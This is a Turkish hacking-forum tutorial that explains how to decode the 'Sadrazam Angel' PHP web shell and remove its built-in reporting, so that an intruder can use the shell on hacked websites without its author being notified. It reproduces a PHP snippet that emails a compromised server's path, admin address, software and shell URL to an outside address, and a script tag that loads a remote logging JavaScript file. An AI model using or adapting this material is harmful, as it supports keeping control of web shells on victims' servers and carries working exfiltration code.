Sadrazam Shell'de Log Tespiti ve Log Kaydını Silme Yöntemi

Sadrazam Shell'de Log Tespiti ve Log Kaydını Silme Yöntemi Detaylı Resimli Anlatım

Yazar => KingSkrupellos

Konu => https://www.cyberizm.org/cyberizm-sadrazam-shell-de-log-tespiti-ve-log-kaydini-silme-yontemi-detayli-resimli-anlatim.html

Öncelikle Selamün Aleyküm Sayın Deccal Dijital Güvenlik Teknoloji Ordusu Tarikatı. Ben KingSkrupellos, yine size hacking konularından '' Sadrazam Angel Shell'de konulmuş Log Kayıtları nasıl bulunur ve temizlenir '' adıyla bir konu açmak aklıma geldi.

Hiç Sadrazam Angel Shell Görmedim Diyenler için Ekran Görüntüsü Verelim :)
Görenlerde baksın canım, o kadar da değil yani haa :D

[img]http://i.hizliresim.com/OE9aGZ.jpg[/img]

Şimdi bu Shell'in PHP Kodlamasına Giriyoruz ve Metin Belgesi açıp kodları çok kısa bir şekilde düzenliyoruz.

Herşeyden Önce Bazı Akıllı Hacker Arkadaşlar, Sadrazam Angel Shellimizi PHP Encode yapıyorlar. Yani PHP Kodunu gizliyorlar.

Şu Şekilde =>

[img]http://i.hizliresim.com/vZ8N74.png[/img]

Bizde Aşağıdaki yapacağımız işlemleri yapmadan önce Sadrazam Shellimizi PHP Decode etmemiz gerekiyor. Yani Kodları orjinal haline getirmemiz gerekiyor.

Şu Şekilde =>

[img]http://i.hizliresim.com/Xdq3RD.png[/img]

PHP Decoder Yapabilen Güzel İki Sitemiz Var - Bunlardan yararlanabiliriz.

[code]https://www.unphp.net
http://toolki.com/en/php-decoder/
https://pr.gg/base64/[/code]

[img]http://i.hizliresim.com/nEmNoM.png[/img]

[img]http://i.hizliresim.com/LQgR0Z.png[/img]

[img]http://i.hizliresim.com/1NDZ0N.png[/img]

[hide]1 )  CTRL + F tuşlarına basıp ARAMA yapacağız

2) @ işareti @hotmail  @yahoo @gmail  gibi yazıları taratacaz eğer bulursak, bunun bulunduğu Mail Adresi Olanları Silecez.

3) mail(  ve  mail)  gibi olan kelimeleri taratacaz, eğer bulursak silecez.

4) .js  nokta js gibi olan kodlar direk log tutuyor demektir. Peki her .js log olmayabilir. Bunun anlamının en kısa yolu

[code]<SCRIPT SRC=http://www.LOG-TUTAN-SİTE/dex.js></SCRIPT>[/code]

dex.js yerine başka birşey yazabilir.  deccal.js olsun mesela.

5) Son Olarakta herşeyi yaptık bulamadık ama yine bazı akıllı hacker arkadaşlar, Sadrazam Angel Shell'in Sonuna

[code]<?php
$kime="HEDEF-EMAİL-ADRESİ@hotmail.com";
$baslik="SadrazaM Server Avcisi V1.0";
$deccal.="Dosya Yolu : ".$_SERVER['DOCUMENT_ROOT']."\r\n";
$deccal.="Server Admin : ".$_SERVER['SERVER_ADMIN']."\r\n";
$deccal.="Server isletim sistemi : ".$_SERVER['SERVER_SOFTWARE']."\r\n";
$deccal.="Shell Link : http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\r\n";
$deccal.="Avlanan Site : " .$_SERVER['HTTP_HOST']."\r\n";
mail($kime, $baslik, $deccal);
?>[/code]

şeklinde kodlama yapıyorlar, bunu <?php yazan yerden ?> yere kadar siliniz. Burası Hedef Email Adresine sizin hekleyip uğraştığınız
siteyi kolay yoldan shell sahibi olmak isteyenlerin email adresine gidiyor maalesef.[/hide]

6) Tüm Bu Denilenleri yaptığınız takdirde Sadrazam Shell'de Loglar ( Kayıtlar ) silinmiş olacaktır. Ve Siz Shellinizi gönül rahatlığıyla kullanabilirsiniz :)

Emeğe Saygı. Deccal.Org Digital Security Technological Army. Mr. KingSkrupellos. Selam ve Duam ile :)